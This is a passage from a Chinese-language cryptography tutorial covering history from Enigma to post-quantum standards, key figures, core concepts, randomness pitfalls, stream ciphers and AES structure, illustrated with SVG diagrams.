fill="#6c5ce7">C</text>  <text x="60" y="165" font-size="15" font-weight="700" fill="#6c5ce7">Enigma 加密流程（简化）</text>  <rect x="60" y="180" width="80" height="40" rx="8" fill="#dfe6e9"/><text x="100" y="205" text-anchor="middle" font-size="13">输入 A</text>  <rect x="175" y="180" width="60" height="40" rx="8" fill="#a29bfe" opacity="0.3"/><text x="205" y="200" text-anchor="middle" font-size="12" fill="#6c5ce7">接线板</text><text x="205" y="214" text-anchor="middle" font-size="10" fill="#6c5ce7">Plugboard</text>  <rect x="270" y="180" width="60" height="40" rx="8" fill="#74b9ff" opacity="0.3"/><text x="300" y="200" text-anchor="middle" font-size="12" fill="#0984e3">转子1</text><text x="300" y="214" text-anchor="middle" font-size="10" fill="#0984e3">Rotor1</text>  <rect x="365" y="180" width="60" height="40" rx="8" fill="#74b9ff" opacity="0.3"/><text x="395" y="200" text-anchor="middle" font-size="12" fill="#0984e3">转子2</text><text x="395" y="214" text-anchor="middle" font-size="10" fill="#0984e3">Rotor2</text>  <rect x="460" y="180" width="60" height="40" rx="8" fill="#74b9ff" opacity="0.3"/><text x="490" y="200" text-anchor="middle" font-size="12" fill="#0984e3">转子3</text><text x="490" y="214" text-anchor="middle" font-size="10" fill="#0984e3">Rotor3</text>  <rect x="555" y="180" width="60" height="40" rx="8" fill="#55efc4" opacity="0.3"/><text x="585" y="200" text-anchor="middle" font-size="12" fill="#00b894">反射器</text><text x="585" y="214" text-anchor="middle" font-size="10" fill="#00b894">Reflector</text>  <line x1="140" y1="200" x2="175" y2="200" stroke="#6c5ce7" stroke-width="1.5" marker-end="url(#arr2)"/>  <line x1="235" y1="200" x2="270" y2="200" stroke="#6c5ce7" stroke-width="1.5" marker-end="url(#arr2)"/>  <line x1="330" y1="200" x2="365" y2="200" stroke="#6c5ce7" stroke-width="1.5" marker-end="url(#arr2)"/>  <line x1="425" y1="200" x2="460" y2="200" stroke="#6c5ce7" stroke-width="1.5" marker-end="url(#arr2)"/>  <line x1="520" y1="200" x2="555" y2="200" stroke="#6c5ce7" stroke-width="1.5" marker-end="url(#arr2)"/>  <text x="585" y="240" text-anchor="middle" font-size="10" fill="#636e72">返回路径通过反射器沿原路返回</text>  <line x1="585" y1="222" x2="585" y2="232" stroke="#636e72" stroke-width="1" stroke-dasharray="4"/>  <rect x="555" y="255" width="60" height="40" rx="8" fill="#d63031" opacity="0.1"/><text x="585" y="275" text-anchor="middle" font-size="13" fill="#d63031">输出 G</text></svg><p><em>图：凯撒密码替换规则（上）与 Enigma 加密流程（下）</em></p><p><strong>1939-1945 年 · 布莱切利庄园与图灵的 Bombe 机</strong></p><p>英国布莱切利庄园成为密码破解中心。<strong>艾伦·图灵</strong>设计了 Bombe 机电破解机。</p><details><summary><b>📖 Enigma 的致命弱点——"字母不自加密"是什么意思？（点击展开）</b></summary><p>Enigma 设计有一个数学上的必然结果：<strong>反射器导致字母永远不会被加密成自身</strong>。输入 A，经过接线板→转子→反射器→原路返回后，<strong>输出绝不可能是 A</strong>。</p><p>这看似加强了安全性（密文和明文不同），实则泄露了关键信息：破解者知道”A 绝对不会在第 X 位置”。图灵利用这一点，配合每天都重复使用的「天气预报固定格式开头」（德军每天早上的天气预报格式是固定的——德军的一个愚蠢习惯），构造了 <strong>Known Plaintext Attack（已知明文攻击）</strong>：他在猜到的明文和对应的密文之间寻找字母回路，大幅缩小了可能的转子位置组合——从 10²³ 缩小到人力可及的范围。</p><p>据估计，破解 Enigma 使二战缩短了 2~3 年。</p></details><p><strong>1944 年 · Colossus：世界上第一台可编程电子计算机</strong></p><p>由汤米·弗劳尔斯设计，用于破解更复杂的 Lorenz 密码机。Colossus 是密码学直接催生出现代计算机的明证。</p><h3 id="2-3-现代密码时代（1949-年至今）"><a href="#2-3-现代密码时代（1949-年至今）" class="headerlink" title="2.3 现代密码时代（1949 年至今）"></a>2.3 现代密码时代（1949 年至今）</h3><p><strong>1949 年 · Shannon：信息论奠基</strong></p><p>克劳德·香农发表了<a href="https://ee.stanford.edu/~gray/sp.pdf">《保密系统的通信理论》</a>（Communication Theory of Secrecy Systems），用信息论为密码学建立了严格的数学基础。他证明了一个重要结论：<strong>一次性密码本</strong><sup id="fnref:11"><a href="#fn:11" rel="footnote">[11]</a></sup> 是理论上唯一绝对安全的加密方案。</p><p><strong>1976 年 · Diffie-Hellman 密钥交换</strong></p><p>惠特菲尔德·迪菲和马丁·赫尔曼发表了<a href="https://ee.stanford.edu/~hellman/publications/24.pdf">《密码学的新方向》</a>（New Directions in Cryptography），首次提出了<strong>公钥密码学</strong><sup id="fnref:12"><a href="#fn:12" rel="footnote">[12]</a></sup>的概念，解决了困扰密码学四千年的密钥分发问题<sup id="fnref:13"><a href="#fn:13" rel="footnote">[13]</a></sup>。这被公认为密码学史上最具革命性的突破。</p><p><strong>1977 年 · RSA 算法 &amp; DES 标准</strong></p><p>Ron Rivest、Adi Shamir、Len Adleman 发表 <a href="https://people.csail.mit.edu/rivest/Rsapaper.pdf">RSA 算法</a>——第一个实用的公钥加密方案。同年，<abbr title="美国国家标准与技术研究院">NIST</abbr> 将 IBM 开发的 DES<sup id="fnref:14"><a href="#fn:14" rel="footnote">[14]</a></sup> 定为美国联邦标准，这是第一个公开可用的标准化加密算法。</p><p><strong>1991 年 · PGP：加密走向大众</strong></p><p>菲尔·齐默尔曼发布 <a href="https://www.openpgp.org/">PGP</a>（Pretty Good Privacy），首次将混合加密（RSA + IDEA）带给普通用户。齐默尔曼因”出口军火级别加密软件”被美国政府刑事调查三年——当时美国法律将强加密软件列为军火。</p><p><strong>1994 年 · Shor 算法：量子威胁的出现</strong></p><p>彼得·肖尔提出 <a href="https://arxiv.org/abs/quant-ph/9508027">Shor 量子算法</a>，能够在多项式时间内分解大整数——未来量子计算机可在一小时内破解 RSA-2048。</p><p><strong>2001 年 · AES 取代 DES</strong></p><p>比利时密码学家 Joan Daemen 和 Vincent Rijmen 设计的 Rijndael 算法在公开竞赛中击败 14 个候选算法胜出，成为 AES 标准。</p><p><strong>2004 年 · 王小云破解 MD5</strong></p><p>中国密码学家<strong>王小云</strong>教授在国际密码学会议上宣布成功构造 MD5 碰撞<sup id="fnref:15"><a href="#fn:15" rel="footnote">[15]</a></sup>，<a href="https://link.springer.com/chapter/10.1007/11426639_2">论文链接</a>。随后她陆续破解了 SHA-1、MD4 等多个哈希算法，推动全球密码标准升级至 SHA-2&#x2F;SHA-3。</p><p><strong>2024 年 · NIST 发布后量子密码标准</strong></p><p>NIST 正式发布三项后量子密码标准：FIPS 203（ML-KEM，基于格）、FIPS 204（ML-DSA）、FIPS 205（SLH-DSA），标志着密码学正式进入后量子时代。详见第十四章。</p><hr><h2 id="第三章-关键人物志"><a href="#第三章-关键人物志" class="headerlink" title="第三章 关键人物志"></a>第三章 关键人物志</h2><p>密码学的每一次重大飞跃，背后都站着少数天才的头脑。以下是塑造了密码学面貌的 12 位关键人物：</p><table><thead><tr><th>人物</th><th>年代</th><th>贡献</th></tr></thead><tbody><tr><td><strong>Gaius Julius Caesar</strong></td><td>公元前 100–44 年 · 罗马</td><td>凯撒密码的发明者，将密码用于军事通信的第一人</td></tr><tr><td><strong>Al-Kindi（肯迪）</strong></td><td>约 801–873 年 · 阿拉伯</td><td>频率分析法的发明者，将密码破解提升为系统化科学</td></tr><tr><td><strong>Leon Battista Alberti</strong></td><td>1404–1472 年 · 意大利</td><td>“西方密码学之父”，发明密码轮盘和多表替换密码</td></tr><tr><td><strong>Alan Turing（艾伦·图灵）</strong></td><td>1912–1954 年 · 英国</td><td>设计 Bombe 机破解 Enigma，利用”字母不自加密”特性缩小搜索空间，现代计算机科学之父</td></tr><tr><td><strong>Claude Shannon（克劳德·香农）</strong></td><td>1916–2001 年 · 美国</td><td>“信息论之父”，<a href="https://ee.stanford.edu/~gray/sp.pdf">《保密系统的通信理论》</a>为密码学建立严格数学基础，证明一次性密码本的绝对安全性</td></tr><tr><td><strong>Diffie &amp; Hellman</strong></td><td>1976 年 · 美国</td><td><a href="https://ee.stanford.edu/~hellman/publications/24.pdf">《密码学的新方向》</a>提出公钥密码学概念和 DH 密钥交换协议</td></tr><tr><td><strong>Rivest, Shamir, Adleman</strong></td><td>1977 年 · MIT</td><td><a href="https://people.csail.mit.edu/rivest/Rsapaper.pdf">发明 RSA 算法</a>，首个实用公钥加密方案，获 2002 年图灵奖</td></tr><tr><td><strong>Phil Zimmermann</strong></td><td>1954– · 美国</td><td><a href="https://www.openpgp.org/">PGP</a> 作者，将强加密带给大众，曾因此被美国政府刑事调查三年</td></tr><tr><td><strong>王小云（Wang Xiaoyun）</strong></td><td>1966– · 中国</td><td>山东大学教授，<a href="https://link.springer.com/chapter/10.1007/11426639_2">破解 MD5</a>，推动全球哈希标准升级至 SHA-2&#x2F;SHA-3</td></tr><tr><td><strong>Peter Shor（彼得·肖尔）</strong></td><td>1959– · MIT</td><td>1994 年提出 <a href="https://arxiv.org/abs/quant-ph/9508027">Shor 算法</a>，证明量子计算机可破解 RSA 和 ECC</td></tr><tr><td><strong>Joan Daemen</strong></td><td>1965– · 比利时</td><td>AES（Rijndael）算法共同设计者</td></tr><tr><td><strong>Daniel J. Bernstein</strong></td><td>1971– · 美国</td><td>设计 Curve25519、ChaCha20、Poly1305 等现代加密算法，<a href="https://cr.yp.to/">个人网站</a></td></tr></tbody></table><hr><h2 id="第四章-核心概念与分类"><a href="#第四章-核心概念与分类" class="headerlink" title="第四章 核心概念与分类"></a>第四章 核心概念与分类</h2><h3 id="4-1-三大密码学目标（CIA-N）"><a href="#4-1-三大密码学目标（CIA-N）" class="headerlink" title="4.1 三大密码学目标（CIA + N）"></a>4.1 三大密码学目标（CIA + N）</h3><table><thead><tr><th>目标</th><th>英文</th><th>实现手段</th><th>生活类比</th></tr></thead><tbody><tr><td><strong>机密性</strong></td><td>Confidentiality</td><td>加密（对称&#x2F;非对称）</td><td>给信封上锁，只有收信人有钥匙</td></tr><tr><td><strong>完整性</strong></td><td>Integrity</td><td>哈希函数、MAC</td><td>快递包裹的防拆封条</td></tr><tr><td><strong>真实性</strong></td><td>Authenticity</td><td>数字签名、证书</td><td>合同上的手写签名</td></tr><tr><td><strong>不可否认性</strong><sup id="fnref:16"><a href="#fn:16" rel="footnote">[16]</a></sup></td><td>Non-repudiation</td><td>数字签名 + 时间戳</td><td>已签名的借条，无法抵赖</td></tr></tbody></table><h3 id="4-2-加密体系三大分类"><a href="#4-2-加密体系三大分类" class="headerlink" title="4.2 加密体系三大分类"></a>4.2 加密体系三大分类</h3><p>下面这张图用一个统一的框架对比了对称加密、非对称加密和哈希函数——注意对比每种体系<strong>密钥的数量、加密方向、是否可逆</strong>：</p><svg viewBox="0 0 680 380" xmlns="http://www.w3.org/2000/svg" style="max-width:100%;display:block;margin:16px auto;">  <defs>    <linearGradient id="gSym" x1="0" y1="0" x2="1" y2="1"><stop offset="0%" stop-color="#6c5ce7"/><stop offset="100%" stop-color="#a29bfe"/></linearGradient>    <linearGradient id="gAsym" x1="0" y1="0" x2="1" y2="1"><stop offset="0%" stop-color="#0984e3"/><stop offset="100%" stop-color="#74b9ff"/></linearGradient>    <linearGradient id="gHash" x1="0" y1="0" x2="1" y2="1"><stop offset="0%" stop-color="#00b894"/><stop offset="100%" stop-color="#55efc4"/></linearGradient>  </defs>  <rect x="30" y="20" width="620" height="105" rx="12" fill="url(#gSym)" opacity="0.08"/>  <rect x="40" y="25" width="100" height="30" rx="6" fill="url(#gSym)"/>  <text x="90" y="45" text-anchor="middle" fill="#fff" font-size="14" font-weight="700">对称加密</text>  <text x="155" y="45" fill="#6c5ce7" font-size="13">一把钥匙开一把锁</text>  <rect x="55" y="65" width="70" height="45" rx="8" fill="#fff" stroke="#6c5ce7" stroke-width="2"/><text x="90" y="83" text-anchor="middle" font-size="22">🔑</text><text x="90" y="102" text-anchor="middle" font-size="11" fill="#6c5ce7">同一密钥</text>  <rect x="150" y="68" width="100" height="40" rx="6" fill="#dfe6e9"/><text x="200" y="86" text-anchor="middle" font-size="13">明文</text><text x="200" y="102" text-anchor="middle" font-size="11" fill="#636e72">Hello World</text>  <text x="270" y="92" text-anchor="middle" font-size="18">→ 加密 →</text>  <rect x="310" y="68" width="100" height="40" rx="6" fill="#6c5ce7" opacity="0.15"/><text x="360" y="86" text-anchor="middle" font-size="13" fill="#6c5ce7">密文</text><text x="360" y="102" text-anchor="middle" font-size="11" fill="#6c5ce7">3fA9$xK#</text>  <text x="430" y="92" text-anchor="middle" font-size="18">→ 解密 →</text>  <rect x="470" y="68" width="100" height="40" rx="6" fill="#dfe6e9"/><text x="520" y="86" text-anchor="middle" font-size="13">明文</text><text x="520" y="102" text-anchor="middle" font-size="11" fill="#636e72">Hello World</text>  <rect x="585" y="65" width="55" height="45" rx="8" fill="#fff" stroke="#6c5ce7" stroke-width="2"/><text x="612" y="83" text-anchor="middle" font-size="22">🔑</text><text x="612" y="102" text-anchor="middle" font-size="10" fill="#6c5ce7">同密钥</text>  <text x="350" y="130" text-anchor="middle" font-size="11" fill="#636e72">代表算法：AES、DES、ChaCha20、SM4 | 速度快，适合大数据量</text>  <rect x="30" y="145" width="620" height="105" rx="12" fill="url(#gAsym)" opacity="0.08"/>  <rect x="40" y="150" width="100" height="30" rx="6" fill="url(#gAsym)"/>  <text x="90" y="170" text-anchor="middle" fill="#fff" font-size="14" font-weight="700">非对称加密</text>  <text x="155" y="170" fill="#0984e3" font-size="13">一把锁，两把不同的钥匙</text>  <rect x="55" y="190" width="70" height="45" rx="8" fill="#fff" stroke="#0984e3" stroke-width="2"/><text x="90" y="208" text-anchor="middle" font-size="22">🔓</text><text x="90" y="227" text-anchor="middle" font-size="11" fill="#0984e3">公钥（加密）</text>  <rect x="150" y="193" width="100" height="40" rx="6" fill="#dfe6e9"/><text x="200" y="211" text-anchor="middle" font-size="13">明文</text>  <text x="270" y="217" text-anchor="middle" font-size="18">→ 加密 →</text>  <rect x="310" y="193" width="100" height="40" rx="6" fill="#0984e3" opacity="0.15"/><text x="360" y="211" text-anchor="middle" font-size="13" fill="#0984e3">密文</text>  <text x="430" y="217" text-anchor="middle" font-size="18">→ 解密 →</text>  <rect x="470" y="193" width="100" height="40" rx="6" fill="#dfe6e9"/><text x="520" y="211" text-anchor="middle" font-size="13">明文</text>  <rect x="585" y="190" width="55" height="45" rx="8" fill="#fff" stroke="#0984e3" stroke-width="2"/><text x="612" y="208" text-anchor="middle" font-size="22">🔐</text><text x="612" y="227" text-anchor="middle" font-size="10" fill="#0984e3">私钥解密</text>  <text x="350" y="255" text-anchor="middle" font-size="11" fill="#636e72">代表算法：RSA、ECC、SM2 | 慢但无需预先共享密钥</text>  <rect x="30" y="260" width="620" height="105" rx="12" fill="url(#gHash)" opacity="0.08"/>  <rect x="40" y="265" width="100" height="30" rx="6" fill="url(#gHash)"/>  <text x="90" y="285" text-anchor="middle" fill="#fff" font-size="14" font-weight="700">哈希函数</text>  <text x="155" y="285" fill="#00b894" font-size="13">无密钥，不可逆</text>  <text x="120" y="318" text-anchor="middle" font-size="28">📄 → 🔨 → 🔢</text>  <text x="230" y="310" font-size="14">任意长度输入 → 固定长度输出（摘要/指纹）</text>  <text x="230" y="332" font-size="12" fill="#636e72">不可逆！无法从哈希值恢复原文</text>  <text x="480" y="318" text-anchor="middle" font-size="13" fill="#636e72">SHA-256("Hello") = </text>  <text x="480" y="340" text-anchor="middle" font-size="12" font-family="monospace" fill="#00b894">185f8db32271fe25...</text></svg><p><em>图：三大加密体系对比——对称加密、非对称加密、哈希函数</em></p><h3 id="4-3-易混淆概念对比表"><a href="#4-3-易混淆概念对比表" class="headerlink" title="4.3 易混淆概念对比表"></a>4.3 易混淆概念对比表</h3><table><thead><tr><th>对比维度</th><th>对称加密</th><th>非对称加密</th><th>哈希函数</th></tr></thead><tbody><tr><td>密钥</td><td>1 把密钥</td><td>公钥 + 私钥</td><td>无密钥</td></tr><tr><td>可逆性</td><td>✅ 可逆（有密钥）</td><td>✅ 可逆（有私钥）</td><td>❌ 单向不可逆</td></tr><tr><td>速度</td><td>极快（GB&#x2F;s 级）</td><td>很慢（比对称慢 100-1000 倍）</td><td>快</td></tr><tr><td>典型用途</td><td>加密大量数据</td><td>密钥交换、数字签名</td><td>完整性校验、密码存储</td></tr><tr><td>密钥分发</td><td>困难（需安全信道）</td><td>容易（公钥可公开）</td><td>不涉及</td></tr><tr><td>举例</td><td>AES、ChaCha20、SM4</td><td>RSA、ECC、SM2</td><td>SHA-256、SM3、BLAKE3</td></tr></tbody></table><blockquote><p><strong>⚠️ 最常见的误解：</strong> “MD5 加密” 和 “SHA-1 加密” —— 它们根本不是加密！MD5 和 SHA-1 是<em>哈希函数</em>，不可逆、没有密钥。正确的说法是 “MD5 摘要” 或 “SHA-1 哈希”。</p></blockquote><h3 id="4-4-密码学中的随机数：一切安全的根基"><a href="#4-4-密码学中的随机数：一切安全的根基" class="headerlink" title="4.4 密码学中的随机数：一切安全的根基"></a>4.4 密码学中的随机数：一切安全的根基</h3><p>如果说密钥是加密的灵魂，那么<strong>随机数就是灵魂的源头</strong>。没有真随机数，AES-256 也能被预测——等于裸奔。</p><h4 id="4-4-1-为什么密码学离不开随机数？"><a href="#4-4-1-为什么密码学离不开随机数？" class="headerlink" title="4.4.1 为什么密码学离不开随机数？"></a>4.4.1 为什么密码学离不开随机数？</h4><p>密码学中几乎每个环节都需要随机数：</p><table><thead><tr><th>场景</th><th>需要随机数做什么</th><th>如果不随机会怎样</th></tr></thead><tbody><tr><td>密钥生成</td><td>生成不可预测的密钥</td><td>攻击者穷举少量可能密钥即可</td></tr><tr><td><abbr title="Number used ONCE，一次性随机数">Nonce</abbr> &#x2F; <abbr title="Initialization Vector，初始化向量">IV</abbr></td><td>确保相同明文每次加密出不同密文</td><td>密文可被对比破解（WEP 就是这样被破的）</td></tr><tr><td>ECDSA 签名</td><td>签名时需要一个随机数 k</td><td>k 被猜出→私钥直接泄露（索尼PS3事件）</td></tr><tr><td>TLS 握手</td><td>Client Random &#x2F; Server Random</td><td>TLS 安全性完全崩溃</td></tr><tr><td>盐（Salt）<sup id="fnref:17"><a href="#fn:17" rel="footnote">[17]</a></sup></td><td>每个密码一个随机盐</td><td>彩虹表攻击<sup id="fnref:18"><a href="#fn:18" rel="footnote">[18]</a></sup>一招毙命</td></tr></tbody></table><h4 id="4-4-2-PRNG-vs-CSPRNG-vs-TRNG"><a href="#4-4-2-PRNG-vs-CSPRNG-vs-TRNG" class="headerlink" title="4.4.2 PRNG vs CSPRNG vs TRNG"></a>4.4.2 PRNG vs CSPRNG vs TRNG</h4><p>随机数分为三类，只有一类适合加密：</p><table><thead><tr><th>类型</th><th><abbr title="伪随机数生成器">PRNG</abbr></th><th><abbr title="密码学安全伪随机数生成器">CSPRNG</abbr></th><th><abbr title="真随机数生成器">TRNG</abbr></th></tr></thead><tbody><tr><td>原理</td><td>数学公式（如线性同余）</td><td>密码学算法（AES-CTR &#x2F; ChaCha20）</td><td>物理噪声（热噪声、光子辐射）</td></tr><tr><td>可预测性</td><td>知道种子即可预测</td><td>计算上不可预测</td><td>物理上不可预测</td></tr><tr><td>速度</td><td>极快</td><td>快</td><td>慢（受限于物理熵源速率）</td></tr><tr><td>用途</td><td>游戏、模拟</td><td><strong>加密（都用这个）</strong></td><td>CSPRNG 的种子源</td></tr><tr><td>举例</td><td><code>Math.random()</code></td><td>Linux <code>/dev/urandom</code></td><td>Intel RDRAND</td></tr></tbody></table><blockquote><p><strong>⚠️ 关键认知：</strong> 日常加密用的都是 CSPRNG，不是 TRNG。操作系统从物理熵源收集种子，然后 CSPRNG 把少量真随机性”拉伸”成大量可用的安全随机数。</p></blockquote><h4 id="4-4-3-坏随机数的真实灾难"><a href="#4-4-3-坏随机数的真实灾难" class="headerlink" title="4.4.3 坏随机数的真实灾难"></a>4.4.3 坏随机数的真实灾难</h4><p><strong>索尼 PS3 ECDSA 私钥泄露（2010）</strong>：Sony 在 PS3 的 ECDSA 签名中用了固定的随机数 k。攻击者拿到两笔不同交易的签名，通过数学推导提取出私钥。PS3 被彻底破解。</p><p><strong>Debian OpenSSL 弱密钥事件（2008）</strong>：Debian 在修补 OpenSSL 时错误注释掉了一行熵收集代码，导致生成的 SSH&#x2F;RSA 密钥仅依赖进程 PID（仅 32768 种可能）。全球上万服务器在使用可预测的弱密钥，持续了两年才被发现。</p><hr><h2 id="第五章-对称加密原理深度解析"><a href="#第五章-对称加密原理深度解析" class="headerlink" title="第五章 对称加密原理深度解析"></a>第五章 对称加密原理深度解析</h2><h3 id="5-1-流密码（Stream-Cipher）"><a href="#5-1-流密码（Stream-Cipher）" class="headerlink" title="5.1 流密码（Stream Cipher）"></a>5.1 流密码（Stream Cipher）</h3><p><strong>核心思想：</strong> 用一个密钥生成伪随机的”密钥流”，然后将密钥流与明文按位<strong>异或（XOR）</strong><sup id="fnref:19"><a href="#fn:19" rel="footnote">[19]</a></sup>得到密文。解密时用相同的密钥生成相同的密钥流，再次异或还原明文。</p><p>下面的 SVG 展示了流密码从密钥到密文的完整过程：</p><svg viewBox="0 0 680 160" xmlns="http://www.w3.org/2000/svg" style="max-width:100%;display:block;margin:16px auto;">  <defs><marker id="arr5" markerWidth="6" markerHeight="4" refX="5" refY="2" orient="auto"><polygon points="0,0 6,2 0,4" fill="#6c5ce7"/></marker></defs>  <rect x="20" y="20" width="140" height="50" rx="8" fill="#dfe6e9"/><text x="90" y="42" text-anchor="middle" font-size="12" fill="#636e72">密钥（Key）</text><text x="90" y="60" text-anchor="middle" font-size="11" font-family="monospace">MySecret123</text>  <rect x="190" y="20" width="160" height="50" rx="8" fill="#a29bfe" opacity="0.2"/><text x="270" y="42" text-anchor="middle" font-size="12" fill="#6c5ce7">PRGA（伪随机生成器）</text><text x="270" y="60" text-anchor="middle" font-size="11" fill="#6c5ce7">RC4 / ChaCha20</text>  <rect x="380" y="20" width="140" height="50" rx="8" fill="#6c5ce7" opacity="0.1"/><text x="450" y="42" text-anchor="middle" font-size="12" fill="#6c5ce7">密钥流</text><text x="450" y="60" text-anchor="middle" font-size="11" font-family="monospace" fill="#6c5ce7">A7 F2 0B 8E...</text>  <rect x="545" y="28" width="50" height="34" rx="6" fill="#e17055"/><text x="570" y="50" text-anchor="middle" fill="#fff" font-size="14" font-weight="700">⊕</text>  <rect x="620" y="20" width="40" height="50" rx="8" fill="#00b894" opacity="0.15"/><text x="640" y="50" text-anchor="middle" font-size="12" fill="#00b894">密文</text>  <rect x="380" y="100" width="140" height="40" rx="8" fill="#dfe6e9"/><text x="450" y="118" text-anchor="middle" font-size="12" fill="#636e72">明文（Plaintext）</text><text x="450" y="133" text-anchor="middle" font-size="11" font-family="monospace">Hello World</text>  <line x1="450" y1="100" x2="570" y2="62" stroke="#636e72" stroke-width="1.5" stroke-dasharray="5"/>  <line x1="160" y1="45" x2="190" y2="45" stroke="#6c5ce7" stroke-width="1.5" marker-end="url(#arr5)"/>  <line x1="350" y1="45" x2="380" y2="45" stroke="#6c5ce7" stroke-width="1.5" marker-end="url(#arr5)"/>  <line x1="520" y1="45" x2="545" y2="45" stroke="#6c5ce7" stroke-width="1.5" marker-end="url(#arr5)"/>  <line x1="595" y1="45" x2="620" y2="45" stroke="#6c5ce7" stroke-width="1.5" marker-end="url(#arr5)"/></svg><p><em>图：流密码加密原理——密钥流与明文逐位异或</em></p><table><thead><tr><th>算法</th><th>密钥长度</th><th>状态</th><th>说明</th></tr></thead><tbody><tr><td>RC4</td><td>40~2048 位</td><td>❌ 已淘汰</td><td>WEP&#x2F;WPA 无线安全的核心，因密钥流偏倚和 Nonce 重用被彻底攻破</td></tr><tr><td>ChaCha20</td><td>256 位</td><td>✅ 推荐</td><td>Daniel Bernstein 设计，速度极快且在无硬件加速的设备上表现优异</td></tr><tr><td>ZUC（祖冲之）</td><td>128 位</td><td>✅ 国密标准</td><td>中国自主设计，已被 3GPP 采纳为 LTE 国际标准</td></tr></tbody></table><h3 id="5-2-分组密码（Block-Cipher）"><a href="#5-2-分组密码（Block-Cipher）" class="headerlink" title="5.2 分组密码（Block Cipher）"></a>5.2 分组密码（Block Cipher）</h3><p><strong>核心思想：</strong> 将明文分割成固定大小的块（如 128 位&#x3D;16 字节），对每一块分别进行加密变换。不同块之间通过<em>工作模式</em>（第九章）关联以增强安全性。</p><h3 id="5-3-AES-深度解析"><a href="#5-3-AES-深度解析" class="headerlink" title="5.3 AES 深度解析"></a>5.3 AES 深度解析</h3><p>AES<sup id="fnref:20"><a href="#fn:20" rel="footnote">[20]</a></sup> 是目前全球使用最广泛的对称加密算法，由比利时密码学家设计（原名 Rijndael），在 NIST 公开竞赛中击败 14 个候选算法胜出。</p><table><thead><tr><th>参数</th><th>AES-128</th><th>AES-192</th><th>AES-256</th></tr></thead><tbody><tr><td>密钥长度</td><td>128 位（16 字节）</td><td>192 位（24 字节）</td><td>256 位（32 字节）</td></tr><tr><td>分组大小</td><td>128 位</td><td>128 位</td><td>128 位</td></tr><tr><td>加密轮数</td><td>10 轮</td><td>12 轮</td><td>14 轮</td></tr><tr><td>安全性（经典）</td><td>128 位安全</td><td>192 位安全</td><td>256 位安全</td></tr><tr><td>量子安全性</td><td>约 64 位</td><td>约 96 位</td><td>约 128 位（仍安全）</td></tr></tbody></table><p>下面这张图展示了 AES 的加密流程——注意理解<strong>轮数</strong>这个概念：AES 不是一遍就算完，而是把明文反复”揉面”多遍，每一遍叫做一轮：</p><svg viewBox="0 0 680 320" xmlns="http://www.w3.org/2000/svg" style="max-width:100%;display:block;margin:16px auto;">  <defs><marker id="arrAES" markerWidth="6" markerHeight="4" refX="5" refY="2" orient="auto"><polygon points="0,0 6,2 0,4" fill="#6c5ce7"/></marker></defs>  <text x="340" y="22" text-anchor="middle" font-size="15" font-weight="700" fill="#6c5ce7">AES 加密流程（SPN 结构<sup id="fnref:21"><a href="#fn:21" rel="footnote">[21]</a></sup>）</text>  <rect x="270" y="38" width="140" height="34" rx="6" fill="#dfe6e9"/><text x="340" y="60" text-anchor="middle" font-size="13">128 位明文块</text>  <line x1="340" y1="72" x2="340" y2="88" stroke="#6c5ce7" stroke-width="2" marker-end="url(#arrAES)"/>  <rect x="270" y="88" width="140" height="34" rx="6" fill="#a29bfe" opacity="0.2"/><text x="340" y="110" text-anchor="middle" font-size="13" fill="#6c5ce7">AddRoundKey（轮密钥加）</text>  <line x1="340" y1="122" x2="340" y2="138" stroke="#6c5ce7" stroke-width="2" marker-end="url(#arrAES)"/>  <rect x="220" y="138" width="240" height="86" rx="8" fill="#6c5ce7" opacity="0.05" stroke="#6c5ce7" stroke-width="1" stroke-dasharray="6"/>  <text x="340" y="156" text-anchor="middle" font-size="12" fill="#6c5ce7">重复 N-1 轮（AES-256: 13 轮）</text>  <rect x="240" y="162" width="95" height="28" rx="4" fill="#dfe6e9"/><text x="287" y="181" text-anchor="middle" font-size="11">SubBytes（S 盒替换）</text>  <rect x="345" y="162" width="95" height="28" rx="4" fill="#dfe6e9"/><text x="392" y="181" text-anchor="middle" font-size="11">ShiftRows（行移位）</text>  <rect x="240" y="194" width="95" height="28" rx="4" fill="#dfe6e9"/><text x="287" y="213" text-anchor="middle" font-size="11">MixColumns（列混淆）</text>  <rect x="345" y="194" width="95" height="28" rx="4" fill="#a29bfe" opacity="0.2"/><text x="392" y="213" text-anchor="middle" font-size="11" fill="#6c5ce7">AddRoundKey</text>  <line x1="340" y1="224" x2="340" y2="240" stroke="#6c5ce7" stroke-width="2" marker-end="url(#arrAES)"/>  <rect x="270" y="240" width="140" height="34" rx="6" fill="#a29bfe" opacity="0.3"/><text x="340" y="262" text-anchor="middle" font-size="13" fill="#6c5ce7">最后一轮（无 MixColumns）</text>  <line x1="340" y1="274" x2="340" y2="290" stroke="#6c5ce7" stroke-width="2" marker-end="url(#arrAES)"/>  <rect x="270" y="290" width="140" height="34" rx="6" fill="#6c5ce7" opacity="0.1"/><text x="340" y="312" text-anchor="middle" font-size="13" fill="#6c5ce7">128 位密文块</text>  <rect x="520" y="88" width="100" height="28" rx="6" fill="#00b894" opacity="0.1"/><text x="570" y="107" text-anchor="middle" font-size="11" fill="#00b894">密钥扩展算法</text>  <line x1="410" y1="105" x2="520" y2="102" stroke="#00b894" stroke-width="1.5" stroke-dasharray="5" marker-end="url(#arrAES)"/>  <text x="470" y="96" text-anchor="middle" font-size="9" fill="#00b894">256位密钥</text></svg><p><em>图：AES 加密的 SPN 结构</em></p><p><strong>AES 的四步操作（每轮都做）：</strong></p><ul><li><strong>SubBytes（字节替换）——混淆</strong>：每个字节通过 S 盒（一个 16×16 的非线性查找表）替换为另一个字节。这是 AES 安全性的核心来源。</li><li><strong>ShiftRows（行移位）——扩散</strong>：将 4×4 状态矩阵的每一行循环左移不同偏移量，让一个列中的字节扩散到不同列。</li><li><strong>MixColumns（列混淆）——扩散</strong>：将每一列的数据混合运算，进一步扩散。</li><li><strong>AddRoundKey（轮密钥加）——密钥混合</strong>：将当前轮的密钥与状态矩阵逐字节异或。</li></ul><blockquote><p><strong>📌 为什么 AES 安全？</strong> AES 的安全性建立在<em>混淆</em>（S 盒的非线性变换使输入输出关系极难分析）和<em>扩散</em>（ShiftRows 和 MixColumns 使每个输出位依赖于所有输入位）的组合上。AES-256 在量子计算机面前（Grover 算法）仍保持约 128 位有效安全强度。</p></blockquote><hr><h2 id="第六章-非对称加密原理深度解析"><a href="#第六章-非对称加密原理深度解析" class="headerlink" title="第六章 非对称加密原理深度解析"></a>第六章 非对称加密原理深度解析</h2><h3 id="6-1-RSA-算法原理"><a href="#6-1-RSA-算法原理" class="headerlink" title="6.1 RSA 算法原理"></a>6.1 RSA 算法原理</h3><p>RSA 